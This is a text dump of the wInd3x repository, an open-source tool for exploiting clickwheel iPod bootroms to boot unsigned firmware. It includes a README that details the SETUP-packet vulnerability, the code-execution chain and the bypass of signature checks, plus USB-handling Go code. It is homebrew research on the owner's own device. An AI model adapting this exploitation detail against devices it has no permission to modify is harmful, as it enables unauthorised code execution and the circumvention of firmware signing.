Full Code of freemyipod/wInd3x for AI

main 4d2a4f1a73f9 cached
78 files
328.2 KB
105.3k tokens
553 symbols
1 requests
Download .txt
Showing preview only (349K chars total). Download the full file or copy to clipboard to get everything.
Repository: freemyipod/wInd3x
Branch: main
Commit: 4d2a4f1a73f9
Files: 78
Total size: 328.2 KB

Directory structure:
gitextract_6fef_fhp/

├── .github/
│   └── ISSUE_TEMPLATE/
│       └── bug_report.md
├── .gitignore
├── COPYING
├── README.md
├── cmd/
│   └── wInd3x/
│       ├── app.go
│       ├── cmd_cfw.go
│       ├── cmd_decrypt.go
│       ├── cmd_download.go
│       ├── cmd_dump.go
│       ├── cmd_haxdu.go
│       ├── cmd_makedfu.go
│       ├── cmd_mse.go
│       ├── cmd_nand_read.go
│       ├── cmd_nor_read.go
│       ├── cmd_restore.go
│       ├── cmd_run.go
│       ├── cmd_spew.go
│       └── main.go
├── default.nix
├── go.mod
├── go.sum
├── pkg/
│   ├── app/
│   │   └── app.go
│   ├── cache/
│   │   ├── cache.go
│   │   ├── cache_test.go
│   │   └── phobos.go
│   ├── cfw/
│   │   ├── cfw.go
│   │   ├── defang_wtf.go
│   │   └── fixup.go
│   ├── devices/
│   │   ├── devices.go
│   │   └── usb.go
│   ├── dfu/
│   │   └── dfu.go
│   ├── efi/
│   │   ├── compression/
│   │   │   ├── COPYING.edk2.txt
│   │   │   ├── build.sh
│   │   │   ├── compression.go
│   │   │   ├── compression_runtime.go
│   │   │   ├── compression_test.go
│   │   │   ├── compression_wazero.go
│   │   │   └── edk2.wasm
│   │   ├── efi.go
│   │   ├── file.go
│   │   ├── sections.go
│   │   └── volume.go
│   ├── exploit/
│   │   ├── decrypt/
│   │   │   └── decrypt.go
│   │   ├── dumpmem/
│   │   │   └── dumpmem.go
│   │   ├── exploit.go
│   │   ├── haxeddfu/
│   │   │   └── haxeddfu.go
│   │   ├── s5late_n7g.go
│   │   ├── wind3x_n3g.go
│   │   └── wind3x_n45g.go
│   ├── image/
│   │   └── image.go
│   ├── mse/
│   │   ├── modifications.go
│   │   └── mse.go
│   ├── syscfg/
│   │   └── syscfg.go
│   ├── uasm/
│   │   ├── insns.go
│   │   ├── operands.go
│   │   ├── uasm.go
│   │   └── uasm_test.go
│   └── usbms/
│       ├── ipod.go
│       ├── scsi.go
│       └── usbms.go
└── web/
    ├── .gitignore
    ├── COPYING
    ├── Makefile
    ├── README.md
    ├── index.html
    ├── package.json
    ├── server/
    │   ├── README.md
    │   └── main.go
    ├── shell.nix
    ├── src/
    │   ├── components.ts
    │   ├── edk2.ts
    │   └── go.ts
    ├── tsconfig.json
    └── wiwali/
        ├── README.md
        ├── main.go
        ├── store.go
        ├── usb.go
        └── wiwali.wasm

================================================
FILE CONTENTS
================================================

================================================
FILE: .github/ISSUE_TEMPLATE/bug_report.md
================================================
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: ''
assignees: q3k

---

**Describe the bug**
A clear and concise description of what the bug is.

**Tell us which iPod model you're targeting**
Eg. iPod Nano 3G, 5G, etc.

**Tell us where you're running wInd3x**
We need to know:
1. What hardware are you running on?
2. What OS are you using? Provide details, eg. Linux distribution and kernel version or otherwise the OS version.


================================================
FILE: .gitignore
================================================
/.idea/
/wInd3x
result
**swp
**swo


================================================
FILE: COPYING
================================================
                    GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

                    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

                            NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License along
    with this program; if not, write to the Free Software Foundation, Inc.,
    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.


================================================
FILE: README.md
================================================
<img src="logotype.png">

wInd3x
======

Tethered clickwheel iPod bootrom/DFU exploit tool.

Implements 'wInd3x' exploit (described below) and [s5late](https://github.com/m-gsch/S5Late/) exploit by gsch.

| Device       | Haxed DFU     | Decrypt/Dump | CFW          | Exploit           | Notes        |
|--------------|---------------|--------------|--------------|-------------------|--------------|
| Nano 3G      | **YES**       | **YES**      | soon         | wInd3x            |              |
| Nano 4G      | **YES**       | **YES**      | soon         | wInd3x            |              |
| Nano 5G      | **YES**       | **YES**      | **YES**      | wInd3x            |              |
| Nano 6G      | soon          | soon         | soon         |                   |              |
| Nano 7G      | **YES**       | **YES**      | **YES**      | s5late -> wInd3x  |              |
| Classic “6G” | **YES**       | **YES**      | soon         | wInd3x            | Experimental |
| iPod Touch   | never         | never        | never        |                   |              |

Host OS support
--------

**Nano 4G and Nano 5G exploitation (haxdfu/cfw run/dump/decrypt/etc) works only on Linux due to the way the vulnerability is exploited on these platforms. Running it on Linux in a VM will not work.**

Every other device and functionality should work on any operating system that wInd3x can be built on, but still only Linux is regularly tested and supported.

As a workaround, please consider running wInd3x from a Raspberry Pi.

**NOTE**: This might change as wIndex gets ported to use S5Late on all generations.

Building
--------

You'll need go and libusb. Then:

    $ go build ./cmd/wInd3x

Or, if you have Nix(OS), just do:

    $ nix-build

We're working on making this easier to build and providing pre-built binaries.

Running
-------

Put your iPod into DFU mode by connecting it over USB, holding down menu+select until it reboots, blanks the screen, then shows the Apple logo, then blanks the screen again. The iPod should enumerate as 'USB DFU Device'.

Then, run `wInd3x haxdfu` to put the iPod into 'haxed DFU' mode. This is a modified DFU mode that allows booting any DFU image, including unsigned and unencrypted ones. The mode is temporary, and will be active only until next (re)boot, the exploit does not modify the device permanently in any way.

    $ ./wInd3x haxdfu
    [...]
    2021/12/31 00:59:15 Haxed DFU running!

You can then use any DFU tool to upload any DFU image and the device should boot it. You can also use the `run` subcommand to wInd3x to make it immediately send a file as a DFU image after starting haxed DFU mode (if needed):

    $ ./wInd3x run wtf-test.dfu
    [...]
    2022/01/06 00:06:56 Uploading wtf-test.dfu...
    2022/01/06 00:06:56 Image sent.

Running U-Boot and Linux
------------------------

See [freemyipod.org/Linux](https://freemyipod.org/Linux) for instructions.

Running Rockbox
---------------

No Rockbox port is available for the supported platform(s) ... yet.

Haxed DFU Mode
--------------

When in haxed DFU mode, the DFU will continue as previously, and you will still be able to send properly signed and encrypted images (like WTF). However, signature checking (in header and footer) is disabled. What this means:

 - Images with format '3' (like WTF) will not be sigchecked, but will be decrypted.
 - Images with format '4' will not be sigchecked and will not be decrypted.
 - Pwnage 2.0 images *might* work if they are built to be able to run without having to exploit footer signature checking.

**Nano3G/Classic Note:** haxed DFU currently always boots images as unencrypted. We will change things around soon on all generations and use format '0' for unencrypted instead, and check explicitly for that type.

To make your own DFU images, you should thus make format '4' images, not encrypt them and not sign them.

Building DFU Images
-------------------

If you have a flat binary file which expects to run from DFU mode and be loaded at address 0x22000000, you can use the `makedfu` command to wrap it in a Haxed DFU compatible DFU image.

    $ ./wInd3x makedfu flat.bin image.dfu -k n5g

If the entrypoint is not at the beginning of the file, an offset can be provided with `-e 0xf00`.

Dumping Memory
--------------

wInd3x also supports memory reads from a running bootrom. For example, to dump the bootrom's code to a file:

    $ ./wInd3x dump 0x20000000 0x10000 /tmp/bootrom.bin
    [...]
    2022/01/06 03:10:08 Dumping 20000000...
    2022/01/06 03:12:41 Dumping 2000ffc0...
    2022/01/06 03:12:41 Done!

This will take a few minutes. Ignore any 'libusb: interrupted' errors, these are just spurous debug logs from gousb.

Decrypting Images
-----------------

wInd3x can decrypt IMG1 files (eg. a WTF) using a locally-connected device. These decrypted and unsigned images can then be loaded  via Haxed DFU.

    $ ./wInd3x decrypt WTF.x1225.release.dfu wtf-dec.dfu
    2022/01/06 04:20:08 Parsed Nano 4G image.
    2022/01/06 04:20:08 Decrypting 1e800 bytes...
    2022/01/06 04:20:08 Decrypting first block...
    2022/01/06 04:20:08 Decrypting 0x40...
    [...]


This will take a few minutes. Ignore any 'libusb: interrupted' errors, these are just spurous debug logs from gousb.

If you decrypted a valid WTF image, you should be able to then run it:

    $ ./wInd3x run wtf-dec.dfu

CFW
---

wInd3x has support for 'CFW' (custom firmware), which is the ability to run modified RetailOS binaries or custom payloads like U-Boot from BootROM DFU mode.

Usually, the device boot flow is as follows:

    BootROM -> Bootloader (NAND) -> RetailOS (NAND)

In recovery mode, the device boot flow is as follows:

    BootROM -> WTF (DFU) -> Disk Mode (DFU)

In our CFW mode, the device boot flow is as follows:

    BootROM -> WTF, defanged (DFU) -> Modified RetailOS/U-Boot/... (DFU)

wInd3x packages an all-in-one workflow for running the target payload under the `wInd3x cfw run` command. For example, you could run a modified RetailOS as follows after connecting an N7G in DFU mode:

    $ ./wInd3x download retailos n7g-retailos.bin
    $ ./wInd3x decrypt n7g-retailos.bin n7g-retailos.bin.dec
    $ # hack on n7g-retailos.bin.dec....
    $ ./wInd3x cfw run n7g-retailos.bin.dec

Known issues
============

1. Decryption/dumping is slow, as every 0x30/0x40 we run the exploit again. We should find a better way to get code execution for this kind of tasks.

wInd3x Vulnerability
====================

This exploits a vulnerability in the standard SETUP packet parsing code of the bootrom, in which the wIndex parameter is not checked for bmRequest == {0x20, 0x40}, but is still used to index an array of interface/class handlers (that in the Bootrom has a length of 1).

Nano 4G and 5G Exploit Chain
--------------------

The first requirement is to find a suitable (blx r0) instruction in the bootrom code of the device. For Nano 4G the only one such instruction is at offset 0x3b0, and for Nano 5G there is such instruction at 0x37c. We'll refer to it as X below.

We abuse the fact that wIndex == 3 for bmRequest 0x40 treats a 'bytes left to sent over USB' counter as a function pointer and calls it with r0 == address of SETUP. We massage the DFU mode into attempting to send us X+0x40 bytes, and failing after 0x40 bytes, thereby leaving the counter at X bytes and executing code at address X.

Since the bootrom is mapped at offset 0x0 as well as 0x20000000 at boot, this means we execute bootrom code, and X happens to point to a 'blx r0' instruction. This in turn causes the CPU to interpret the SETUP packet received as ARM code, because the SETUP handler is called with the SETUP packet as its argument, i.e. r0.

We specially craft the SETUP packet to be a valid ARM branch instruction, pointing somewhere into a temporary DFU image buffer. By first sending a payload as a partial DFU image (aborting before causing a MANIFEST), we finally get up to be able to execute either 0x800 on Nano 4G or 0x400 on Nano 5G bytes of fully user controlled code.

In that payload, we send a stub which performs some runtime changes to the DFU's data structures to a) return a different product string b) overwrite an image verification vtable entry with a function that allows unsigned images. Some SRAM is carved out by this payload to store the modified vtable and custom verification function.

Nano 3G and Classic (”6G”)
--------------------------

With bRequestType == 0x20 and wIndex == 6 we directly jump to code execution at the SETUP packet.

This Bootroom does not have a VTable which can be easily hooked to override functions to provide Haxed DFU functionality. However, an 'OnImage' function pointer is present in the State structure, which we override with our own code (copied to carved out SRAM). This code reimplements the bare minimum of the hooked function, without calling any decryption/verification code on the header/body.

Nano 6G and 7G
--------------

The vulnerability does not appear to exist on these devices. Either it was fixed or the USB stack has replaced with a different codebase.

iPhone, iPod Touch
------------------

This vulnerability does not exist on non-clickwheel-iPods, as those use a different bootrom (SecureROM/iBoot) that has a different USB stack.

Support
=======

IRC: #freemyipod on libera.chat

License
=======

Copyright (C) 2022 Serge 'q3k' Bazanski (q3k@q3k.org)

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.


================================================
FILE: cmd/wInd3x/app.go
================================================
package main

import (
	"context"
	"fmt"
	"time"

	"github.com/freemyipod/wInd3x/pkg/app"
	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/exploit"
	"github.com/google/gousb"
	"github.com/hashicorp/go-multierror"
)

type desktopApp struct {
	ctx *gousb.Context
	app.App
}

type desktopUsb struct {
	usb  *gousb.Device
	done func()
}

func (d *desktopUsb) UseDefaultInterface() error {
	_, done, err := d.usb.DefaultInterface()
	if err != nil {
		return err
	}
	d.done = done
	return nil
}

func (d *desktopUsb) UseDiskInterface() (devices.UsbMsEndpoints, error) {
	out := devices.UsbMsEndpoints{}

	if err := d.usb.SetAutoDetach(true); err != nil {
		return out, err
	}
	cfgNum, err := d.usb.ActiveConfigNum()
	if err != nil {
		return out, err
	}
	cfg, err := d.usb.Config(cfgNum)
	if err != nil {
		return out, err
	}
	i, err := cfg.Interface(0, 0)
	if err != nil {
		return out, err
	}
	eps := d.usb.Desc.Configs[cfg.Desc.Number].Interfaces[0].AltSettings[0].Endpoints
	for _, ep := range eps {
		var err error
		switch ep.Direction {
		case gousb.EndpointDirectionIn:
			out.In, err = i.InEndpoint(ep.Number)
		case gousb.EndpointDirectionOut:
			out.Out, err = i.OutEndpoint(ep.Number)
		}
		if err != nil {
			return out, err
		}
	}

	if out.In == nil || out.Out == nil {
		return out, fmt.Errorf("did not find both IN and OUT endpoint on mass storage interface")
	}

	return out, nil
}

func (d *desktopUsb) Control(rType, request uint8, val, idx uint16, data []byte) (int, error) {
	v, err := d.usb.Control(rType, request, val, idx, data)
	if err == gousb.ErrorTimeout {
		err = devices.UsbTimeoutError
	}
	return v, err
}

func (d *desktopUsb) SetControlTimeout(dur time.Duration) error {
	d.usb.ControlTimeout = dur
	return nil
}

func (d *desktopUsb) GetStringDescriptor(descIndex int) (string, error) {
	return d.usb.GetStringDescriptor(descIndex)
}

func (d *desktopUsb) Close() error {
	if d.done != nil {
		d.done()
		d.done = nil
	}
	return d.usb.Close()
}

func (d *desktopApp) Close() error {
	if err := d.Usb.Close(); err != nil {
		return fmt.Errorf("when closing USB device: %w", err)
	}
	if err := d.ctx.Close(); err != nil {
		return fmt.Errorf("when closing context: %w", err)
	}
	return nil
}

func newDFU() (*desktopApp, error) {
	ctx, err := newContext()
	if err != nil {
		return nil, fmt.Errorf("failed to initialize USB: %w", err)
	}

	var errs error
	for _, deviceDesc := range devices.Descriptions {
		pid, ok := deviceDesc.PIDs[devices.DFU]

		if !ok {
			continue
		}

		usb, err := ctx.OpenDeviceWithVIDPID(gousb.ID(deviceDesc.VID), gousb.ID(pid))
		if err != nil {
			errs = multierror.Append(errs, err)
		}

		if usb == nil {
			continue
		}

		app := &desktopApp{
			ctx,
			app.App{
				Usb:           &desktopUsb{usb: usb},
				InterfaceKind: devices.DFU,
				Desc:          &deviceDesc,
				Ep:            exploit.ParametersForKind[deviceDesc.Kind],
			},
		}
		return app, app.PrepareUSB()
	}
	if errs == nil {
		return nil, fmt.Errorf("no device found")
	}
	return nil, errs
}

func newAny() (*desktopApp, error) {
	ctx, err := newContext()
	if err != nil {
		return nil, fmt.Errorf("failed to initialize USB: %w", err)
	}

	var errs error
	for _, deviceDesc := range devices.Descriptions {
		for _, ik := range []devices.InterfaceKind{devices.DFU, devices.WTF, devices.Disk} {
			pid, ok := deviceDesc.PIDs[ik]

			if !ok {
				continue
			}

			usb, err := ctx.OpenDeviceWithVIDPID(gousb.ID(deviceDesc.VID), gousb.ID(pid))
			if err != nil {
				errs = multierror.Append(errs, err)
			}

			if usb == nil {
				continue
			}

			app := &desktopApp{
				ctx,
				app.App{
					Usb:           &desktopUsb{usb: usb},
					InterfaceKind: ik,
					Desc:          &deviceDesc,
					Ep:            exploit.ParametersForKind[deviceDesc.Kind],
				},
			}
			return app, app.PrepareUSB()
		}
	}
	if errs == nil {
		return nil, fmt.Errorf("no device found")
	}
	return nil, errs
}

func (a *desktopApp) waitSwitch(ctx context.Context, ik devices.InterfaceKind) error {
	for {
		pid, ok := a.Desc.PIDs[ik]

		if !ok {
			return fmt.Errorf("device does not support interface kind %v", ik)
		}

		usb, err := a.ctx.OpenDeviceWithVIDPID(gousb.ID(a.Desc.VID), gousb.ID(pid))

		if a.Desc.Kind == devices.Nano7 && ik == devices.WTF && usb == nil && err == nil {
			// special case for Nano7Late as the DFU ids are the same as Nano7
			// but the WTF ids are not
			desc := devices.Nano7Late.Description()

			pid, ok = desc.PIDs[ik]

			if !ok {
				return fmt.Errorf("device does not support interface kind %v", ik)
			}

			usb, err = a.ctx.OpenDeviceWithVIDPID(gousb.ID(desc.VID), gousb.ID(pid))
		}

		if err != nil {
			return err
		}
		if usb != nil {
			a.Usb.Close()
			a.InterfaceKind = ik
			a.Usb = &desktopUsb{usb: usb}
			return a.PrepareUSB()
		}

		select {
		case <-ctx.Done():
			return ctx.Err()
		case <-time.After(time.Second):
		}
	}
}

func newContext() (*gousb.Context, error) {
	resC := make(chan *gousb.Context)
	errC := make(chan error)

	go func() {
		defer func() {
			if r := recover(); r != nil {
				errC <- fmt.Errorf("%v", r)
			}
		}()

		resC <- gousb.NewContext()
	}()

	select {
	case err := <-errC:
		return nil, err
	case res := <-resC:
		return res, nil
	}
}


================================================
FILE: cmd/wInd3x/cmd_cfw.go
================================================
package main

import (
	"bytes"
	"context"
	"fmt"
	"log/slog"
	"os"
	"slices"
	"time"

	"github.com/spf13/cobra"

	"github.com/freemyipod/wInd3x/pkg/app"
	"github.com/freemyipod/wInd3x/pkg/cache"
	"github.com/freemyipod/wInd3x/pkg/cfw"
	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/dfu"
	"github.com/freemyipod/wInd3x/pkg/efi"
	"github.com/freemyipod/wInd3x/pkg/exploit/haxeddfu"
	"github.com/freemyipod/wInd3x/pkg/image"
)

var cfwCmd = &cobra.Command{
	Use:   "cfw",
	Short: "Custom firmware generation (EXPERIMENTAL)",
	Long:  "Build custom firmware bits. Very new, very undocumented. Mostly useful for devs.",
}

type findVisitor struct {
	want  []string
	found []*efi.FirmwareFile
}

func (v *findVisitor) Done() error {
	return nil
}

func (v *findVisitor) VisitFile(file *efi.FirmwareFile) error {
	for _, section := range file.Sections {
		if section.Header().Type == efi.SectionTypeUserInterface {
			name := string(bytes.ReplaceAll(section.Raw(), []byte{0}, []byte{}))
			if slices.Contains(v.want, name) {
				slog.Debug("Found", "name", name)
				v.found = append(v.found, file)
			}
		}
	}
	return nil
}

func (v *findVisitor) VisitSection(section efi.Section) error {
	return nil
}

func superdiags(app *app.App) ([]byte, error) {
	diagb, err := cache.Get(app, cache.PayloadKindDiagsDecrypted)
	if err != nil {
		return nil, fmt.Errorf("when getting diags: %w", err)
	}
	diagi, err := image.Read(bytes.NewReader(diagb))
	if err != nil {
		return nil, fmt.Errorf("when reading diags: %w", err)
	}
	diag, err := efi.ReadVolume(efi.NewNestedReader(diagi.Body))
	if err != nil {
		return nil, fmt.Errorf("when reading diags fv: %w", err)
	}
